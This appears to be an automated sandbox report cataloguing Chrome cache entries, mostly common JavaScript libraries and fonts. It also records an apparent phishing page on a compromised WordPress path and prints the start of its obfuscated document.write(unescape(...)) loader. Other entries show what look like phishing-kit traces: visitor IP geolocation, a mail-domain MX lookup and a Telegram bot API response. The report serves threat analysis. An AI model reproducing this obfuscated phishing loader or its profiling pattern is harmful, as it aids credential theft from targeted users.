SHA-256:	6F15987DCBA055366BF7ECEC02A42949E326C4548F11DA42124F58A22FFCF0E6
SHA-512:	39EEF3197AA3AF7CB3D9613117660988B43D612F3A802D5A53938A9504CE2FB321ADE6941B57D9577CB97B7A0746FE35D77E513E92282B389DB74F9F5E892BC6
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	./..HNZ=....z....Y....2.]Gu)..........L..@zv..r.].51..%.f....U.s.....t...VCR..m...Mw.+~...Hl`.....p.}.... ..8s.<..4>".sLQ....l..C...!4]HjJ.......@?....A).:.v?..U{no:.7$...1>@'cR..KE.RJ........E...8.\|hu.....j....'..%.S.9..3......x2.}.O....u.......L...=..[x?.{...../.........%].`2...h#K_q....jN.;.....?....vy.......wQ.d..w... ..aWD..qm.q,.v..... ..g._j..L..+......._.qM.....D.,....q.....\|.<!....@.y$y.....A..g.[.A....n...S.......X./..n..9.5Y.)k....o..qj?.%......p{.md........zH.j....u....9[..fv0F..G...8.F..&...7..+.\|sO.k..W..W.....4...]>........._..0d..2.l.....7..:..2x..$.O].eq..,.....f]n"c#..r..T...w[..[e...E.q,...........zP.i.k...N.=..1..@8.SV..h.FK6.m...)...6r....3.`.9.......K.......p.[\|.5n...H.(...D..d.X......D......,..=....n.Y....o.y..{@0S......)Kn.\.k3.8.....#....^}.n..L..g{..K./.E.....[...........]...$.....+C.%.....\.K..Eq,.Ch.....".A..nK..R...'1 2]'3..U.\..:!..O.......C.KK..YB...b..y-..~1iA...VN .V...^&.w.}.w...v....(......HC{.Y...

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1350
Entropy (8bit):	5.437574579461789
Encrypted:	false
SSDEEP:	24:81/nQOY7a4gwAZzhnQOY7a4g0tJc+u/rnQOY7a4gHwy96cGSSf7:coOEa4gvGOEa4gaJc+uUOEa4gHN0xD
MD5:	048827075038BB29A926100FAC103075
SHA1:	344B5CF6498867A1806DB0287F339B12C00F34B5
SHA-256:	88F23B85D81514D63DA43985D4E8BE67C1D4235E42768EBDC3783F88FB36C1E0
SHA-512:	CFFBB765A48E681EAF3D11CA60999C4886A2CD88CCFCA7B6260AECD880B17ED2764568418D6D4086049D6E0F296BAF33E8F8979017541877F0D96B1AF6A16C6E
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap
Preview:	/* vietnamese /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rHmsJCQ.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329, U+1EA0-1EF9, U+20AB;.}./ latin-ext /.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/archivonarrow/v30/tss5ApVBdCYD5Q7hcxTE1ArZ0Zz8oY2KRmwvKhhvLFG6rXmsJCQ.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin */.@font-face {. font-family: 'Archivo Narrow';. font-style: normal;. font-weight

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.519265602280304
Encrypted:	false
SSDEEP:	3:YKOHcWnyKBAHfXHyUNskUQ9WeUAdRNn:YKOHnyaiftOkUgzTN
MD5:	3FA187421B5A45709B21C348556B4A6A
SHA1:	F44809B9AAA680AE2BD9952DEEE31F85FED9FFB1
SHA-256:	BADDE82FD2CA7C7B153EC29AAABD4E9A370A953FF2C0591DFB19B4521D4AE518
SHA-512:	7C738A42C954A55E718266CA0868870E6F87E9676298E1A488F14DFC546FC5E69EAA3069CA452C9AA6DAA2B7EC431FF51A82566A2EDD177C1180E9631802A6C2
Malicious:	false
Reputation:	low
Preview:	{"ok":false,"error_code":400,"description":"Bad Request: message text is empty"}

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 78168, version 331.-31196
Category:	downloaded
Size (bytes):	78168
Entropy (8bit):	7.996980715595138
Encrypted:	true
SSDEEP:	1536:F9ht+In45PAr81N7kP5kBLz+1Lo3hJLld77YO6R5K0l:F7kISPSDxkBsk3hJllB66k
MD5:	A9FD1225FB2CD32320E2B931DCA01089
SHA1:	44EC5C6A868B4CE62350D9F040ED8E18F7A1D128
SHA-256:	C5DD43F53F3AF822CBF17B1FB75F46192CDBD51724F277ACF6CF0DACB3FD57E7
SHA-512:	58F45066D5738B1EF1F431EB9FC911FC9E6F61F60538F1577CD2EBE651BD8E7B87124DAE36C4E66FB303FD249EBA333BF41D316774201948CAD056BB0E4B4F2E
Malicious:	false
Reputation:	low
URL:	https://ka-f.fontawesome.com/releases/v5.15.4/webfonts/free-fa-solid-900.woff2
Preview:	wOF2......1X..........0..K.$....................?FFTM....`..N.....h..B.6.$..0..4.. ..+...[.u...m......6.........f%...N\!7.....w!......K..~.....DP)..V.u].5a..dQT1..#.bIIL&L=.....z....}4E.8..`..-..8..?....Xk.C..mV..`&...D."...V.c'.)......"/ .AD.4...i..S)e.72..@D "....~.Jj...~...so7r.....TK...P6..m5.>....1...=x...~.....mD...&.....4/.#[...v.U.,.3.O[aoy......f\|.gKL..d.....e...P......c.j........H..../+d..Z....@.._....8.yk.0p.._~..g.C.:{..u.......h..n...I..%..#aD..$@....... ......'..G.89.n...._q.~....+]..uvX.r..!~n...7r.7*.9..6..7...`....=..j..~.:.......y..P.[.Q.7.../....J..j..B[`KliY.-m,.i..6.eW..^u]W7..qu.r..K.N..O..i9`H..0.!0.6............d..f......e.!,..oK....N:..-..X}..."....]..........j2....8.f5/b..n5..V.......d.C.....a.d!..,.../00).{y9V.W!..o.S.<..B>...mhH..%...X.....m~&....&.i.)`rS...."l..d......I.....B....;2Cb.SD........F..s.Z.S.Acb-.C.@..vj....=..Si...... .........i}._m..v.L..x..K.j_.v........]y...WV.B-{}1..E.9.{...9\.. .H..:svr..E_..q....._w...

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	4.9445357197651205
Encrypted:	false
SSDEEP:	6:Y2iNAwNem0Lx2MALg98CLKoN5rh8CLKoBkcedX/CLKoBFxcp/dBmvJTL8L4:Y2J2Vg9LvrhL5ks5POjqJTN
MD5:	70DE0503C519CAFF1B0C9D57D9AB773F
SHA1:	A7130BBF6EF5209E8B4CFB8D8EEF0CFC1BF04A6F
SHA-256:	D21EC37CA4A08313A0C0D0EA54038EA047A65500D88B50FAA9DE1E564A3A3BC5
SHA-512:	0FD28D0D29539C6E66E51EA55CD8B7C9F9901B880DC6B7C6431E9046D6E7F5965F410DF6A888099887618F83044036A6F8B9B14CA1D0C0D2C96C9DDAB81D9246
Malicious:	false
Reputation:	low
Preview:	{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"southwark.anglican.org.","type":15}],"Answer":[{"name":"southwark.anglican.org.","type":15,"TTL":600,"data":"10 eu-smtp-inbound-1.mimecast.com."},{"name":"southwark.anglican.org.","type":15,"TTL":600,"data":"20 eu-smtp-inbound-2.mimecast.com."}],"Comment":"Response from 13.248.158.180."}

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	317
Entropy (8bit):	4.962752053832002
Encrypted:	false
SSDEEP:	6:MRuH19Pn/K/oxpxV//fog21HOL1HKDhJW1CRW35jY:TVUQxpD/XoB6HsWV5k
MD5:	423C90A1908E3C4DB3754517152D38D8
SHA1:	805088C76785B207336672F6891750E81FE1EF62
SHA-256:	D81539A022972842F0CB91B4F33B300D0C7EF9A964BDD9D06E0F8812FB4ACE33
SHA-512:	44D4244BEDC487C3B17EB3708ADF0B3DBE73D876BCFA414CC655A893F34C499B239397B8DCF6D80D7758F8BC39AC57B535E3F27B25FCC5E7B60BD253530BFA1C
Malicious:	false
Reputation:	low
Preview:	{. "ip": "67.82.116.119",. "hostname": "ool-43527477.dyn.optonline.net",. "city": "Elizabeth",. "region": "New Jersey",. "country": "US",. "loc": "40.6640,-74.2107",. "org": "AS6128 Cablevision Systems Corp.",. "postal": "07207",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.137537511266052
Encrypted:	false
SSDEEP:	3:G4iCFCR:ziC4R
MD5:	AC2ACA9EAA84E1DEADB8507B24896865
SHA1:	39FEEC029B369917D2897C95FD450FF9EA64D08F
SHA-256:	881851041A64BE06D8BAFCFD2D1DD85F071FCD755178B529420DC5858141EF44
SHA-512:	A5389EDD199E38F65D350C560C8AC85545321FC4F169841F29F55CE3293C0C7454D38A709942235A3010EAAB91B99758CD5350629331AB0286BADBC9E4BFAD65
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTMxLjAuNjc3OC4xMDkSIAm7r6WNTP9WIRIFDVNVgbUSBQ2MV9u3ITziSe3LvR__?alt=proto
Preview:	ChIKBw1TVYG1GgAKBw2MV9u3GgA=

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	14464
Entropy (8bit):	7.9800169877863985
Encrypted:	false
SSDEEP:	384:aIax09xqoTcyZYUTOSTysqiXtotU9P6Z36yxML:jaxAqoTxTOEys26JyxY
MD5:	4A8BA408601003ED83365E4A5C15D0FA
SHA1:	8D5AD3DE3AAA6CFF8A19824B2055674E1358033D
SHA-256:	FD21B9DE637DE917232AD7A8D0778B0B2BC13D36BA90B909E78313D3CAE9B46D
SHA-512:	BA07FEB28061789812AE4DD05E3FC27CEE391D1D3DEDE393C8BCBC9B6C3439E617D0F5F999D2CEF5F2897C067D06204EB982E965F9872614FDEB096214B4337E
Malicious:	false
Reputation:	low
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	.^.H......>.}.............Vpr.%.....6v...pXJ..&.=..&....K..H...2. .eY.)B.]x...((AP........?...roIV{........n{...m..=.."f.........3. .YjR....u.:...~....p......w..?.....D..k.!+....Y.1.k.J._..........p..Zgg..Zg...k.vpw.k...Y.....+.u^..............O.....o...<:..7:...A.T...d.rx.;...G.....k....2......".....>h..f++..pn.....\|[p.m.....Ys!.m.R.R......@j0.d......%.&.N.!.j.v.A.?E...&.y.t.Q.._.....C.G....U.....f[qTip.5......p.P.-....-.&.vY...D.m..A.^......q<6..%./K..yI....i.q..8..y.N...R..^..../9......)...(=.....YM....P.@...}...\|.....w.n..y.d[...k..N..P#........3..+.X._.O..~3.E......E...}Z.....ao.D..-..8...QAH.g.....~.X.....1..6S@G~".S..I..m..e.<../u.iW.h........V.)OdJ..Z...j&.cN.Y..5f..t8....2.i........Z....Q@A...p.K.q.3.`.;.c./q.s......W..=.....k..G\|.g\|._x.7x._....w.....~.w..U..E.).E.X)f...Bq..U\.+..F.T.)......c..Hq..U.)....._....^+.>.)>+>).R.R.Q.S..x..U..o..?.?).S.....(..10z.1c,...k.-.1g\1..7.%.q..g.d.3..G....c..q.x...........

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (14181)
Category:	downloaded
Size (bytes):	14265
Entropy (8bit):	5.155891752872181
Encrypted:	false
SSDEEP:	384:EOuDc2EytQAYZFPg9HN46W/rI9kWkaFaKYS6STFuT9eei:E6rD/rI9kqa66cFuT9e1
MD5:	2EBF0D88E73A9C8D5E6D55A1A1CECA01
SHA1:	962359C8CD63A3F8436171AD46D97D9F29ABAC4D
SHA-256:	2B26394AAC8199778CD337D8046535B6EA9CB2DC698E4102029CA963E080E19F
SHA-512:	AAE1C2A7759B04D9302DF61431DF8AC01020A55BA426EE4C9DCB906965E00AB7E073108902AFDFA3EA2AAD128E8FE50A126C8C086DED6FC441EB75BE126ACE06
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/axios/0.20.0/axios.min.js
Preview:	/* axios v0.20.0 \| (c) 2020 by Matt Zabriskie */.!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.axios=t():e.axios=t()}(this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={exports:{},id:r,loaded:!1};return e[r].call(o.exports,o,o.exports,t),o.loaded=!0,o.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){e.exports=n(1)},function(e,t,n){"use strict";function r(e){var t=new s(e),n=i(s.prototype.request,t);return o.extend(n,s.prototype,t),o.extend(n,t),n}var o=n(2),i=n(3),s=n(4),a=n(22),u=n(10),c=r(u);c.Axios=s,c.create=function(e){return r(a(c.defaults,e))},c.Cancel=n(23),c.CancelToken=n(24),c.isCancel=n(9),c.all=function(e){return Promise.all(e)},c.spread=n(25),e.exports=c,e.exports.default=c},function(e,t,n){"use strict";function r(e){return"[object Array]"===R.call(e)}function o(e){return"undefined"==typeof e}functi

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	373
Entropy (8bit):	4.943720040805744
Encrypted:	false
SSDEEP:	6:Y2iNAwNem0Lx2MALg98CLKoN5rh8CLKoBFxcp/dX/CLKoBkcedBmosW0:Y2J2Vg9LvrhL5POO5kldW
MD5:	DB89A610A8E57BEF1985DDD4FD46EEE1
SHA1:	53CE335B55595FD1DA561D7DA012290D1D46BEC8
SHA-256:	C89491A3E06602AB8155724FBDABC96D1910B778B768DAB67B4C8EA4D1071A72
SHA-512:	B5D85D0702DBBC4BB5D3806B824073FCC9610D6967C6B8CC117D096FA5D3750AF130FC2FD20B2C20B5E0895E9436DA1F32D6A9220FDAD033A5B8764E6E6AEF8A
Malicious:	false
Reputation:	low
URL:	https://dns.google/resolve?name=southwark.anglican.org&type=MX
Preview:	{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"southwark.anglican.org.","type":15}],"Answer":[{"name":"southwark.anglican.org.","type":15,"TTL":600,"data":"20 eu-smtp-inbound-2.mimecast.com."},{"name":"southwark.anglican.org.","type":15,"TTL":600,"data":"10 eu-smtp-inbound-1.mimecast.com."}],"Comment":"Response from 76.223.26.245."}

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (65405)
Category:	downloaded
Size (bytes):	1051250
Entropy (8bit):	3.2103488854829068
Encrypted:	false
SSDEEP:	1536:wX5cMimlu67gEXPJ5iHNz/dVdS/tNlLPxmBpeRH534fVQo9LXJ4Llng:z
MD5:	6820A1A8FF4FCDB14BBA9ADAEEB13A02
SHA1:	FCF9B7E93E6F485405E21E87E8C664F645987EC3
SHA-256:	9A2E42C9F75E242BC272BE7DD7BF1F01511A24907B88D8BB934055E2DDAF15A9
SHA-512:	077CBE0093B3AA2D99ED0AA243C27BE5F2305943E6D0E4EF162A61F1BBEAE1124CD34CC7CAFD3BF1A30B4A703695E4D5E2185920443F66CBA1F199891748B875
Malicious:	false
Reputation:	low
URL:	https://kwikkopyegypt.com/wp-admin/mail.verify/interface.root/login.php/inbox.html
Preview:	.<script language="javascript">. .// == Begin Free HTML Source Code Obfuscation Protection from https://snapbuilder.com == //.document.write(unescape('%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%F2%0B%B6%22%3E%0A%0A%3C%68%65%61%64%3E%0A%20%20%3C%6D%65%74%61%20%63%68%61%72%73%65%74%3D%22%55%54%46%2D%38%22%3E%0A%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%49%45%3D%65%64%67%65%22%3E%0A%20%20%3C%6D%65%74%61%20%6E%61%6D%65%3D%22%76%69%65%77%70%6F%72%74%22%20%63%6F%6E%74%65%6E%74%3D%22%77%69%64%74%68%3D%64%65%76%69%63%65%2D%77%69%64%74%68%2C%20%69%6E%69%74%69%61%6C%2D%73%63%61%6C%65%3D%31%2E%30%22%3E%0A%20%20%3C%21%2D%2D%20%53%74%79%6C%65%73%2C%20%4A%61%76%61%73%63%72%69%70%74%20%61%6E%64%20%6F%74%68%65%72%20%74%68%69%6E%67%73%20%67%6F%20%68%65%72%65%20%2D%2D%3E%0A%20%20%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%6A%61%78%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%61%6A%61%

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	317
Entropy (8bit):	4.962752053832002
Encrypted:	false
SSDEEP:	6:MRuH19Pn/K/oxpxV//fog21HOL1HKDhJW1CRW35jY:TVUQxpD/XoB6HsWV5k
MD5:	423C90A1908E3C4DB3754517152D38D8
SHA1:	805088C76785B207336672F6891750E81FE1EF62
SHA-256:	D81539A022972842F0CB91B4F33B300D0C7EF9A964BDD9D06E0F8812FB4ACE33
SHA-512:	44D4244BEDC487C3B17EB3708ADF0B3DBE73D876BCFA414CC655A893F34C499B239397B8DCF6D80D7758F8BC39AC57B535E3F27B25FCC5E7B60BD253530BFA1C
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io/json
Preview:	{. "ip": "67.82.116.119",. "hostname": "ool-43527477.dyn.optonline.net",. "city": "Elizabeth",. "region": "New Jersey",. "country": "US",. "loc": "40.6640,-74.2107",. "org": "AS6128 Cablevision Systems Corp.",. "postal": "07207",. "timezone": "America/New_York",. "readme": "https://ipinfo.io/missingauth".}

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	553
Entropy (8bit):	4.662821081936326
Encrypted:	false
SSDEEP:	12:TvgsoCVIogs01lI55aNGlTF5TF5TF5TF5TF5TFK:cEQtnstTPTPTPTPTPTc
MD5:	0127426BF3BA07FF7211399DDF5186C4
SHA1:	221D89F3261F545AC58848EBA300E0134C76FF9A
SHA-256:	982B986BB578E137F062099427A8CAEC3C501C84A9E4B22369EBD2BADEC42FE7
SHA-512:	6CEA4AB7D43A518A316120BF7AE340583E989A21FC3E142DDD71742D53A7AE6CFA276F232ACD6B6794444B28AA9A666C40171EE44341A7B9A3CA8453B61A371A
Malicious:	false
Reputation:	low
URL:	https://www.southwark.anglican.org/
Preview:	<html>..<head><title>403 Forbidden</title></head>..<body>..<center><h1>403 Forbidden</h1></center>..<hr><center>cloudflare</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	553
Entropy (8bit):	4.662821081936326
Encrypted:	false
SSDEEP:	12:TvgsoCVIogs01lI55aNGlTF5TF5TF5TF5TF5TFK:cEQtnstTPTPTPTPTPTc
MD5:	0127426BF3BA07FF7211399DDF5186C4
SHA1:	221D89F3261F545AC58848EBA300E0134C76FF9A
SHA-256:	982B986BB578E137F062099427A8CAEC3C501C84A9E4B22369EBD2BADEC42FE7
SHA-512:	6CEA4AB7D43A518A316120BF7AE340583E989A21FC3E142DDD71742D53A7AE6CFA276F232ACD6B6794444B28AA9A666C40171EE44341A7B9A3CA8453B61A371A
Malicious:	false
Reputation:	low
URL:	https://www.southwark.anglican.org/favicon.ico
Preview:	<html>..<head><title>403 Forbidden</title></head>..<body>..<center><h1>403 Forbidden</h1></center>..<hr><center>cloudflare</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
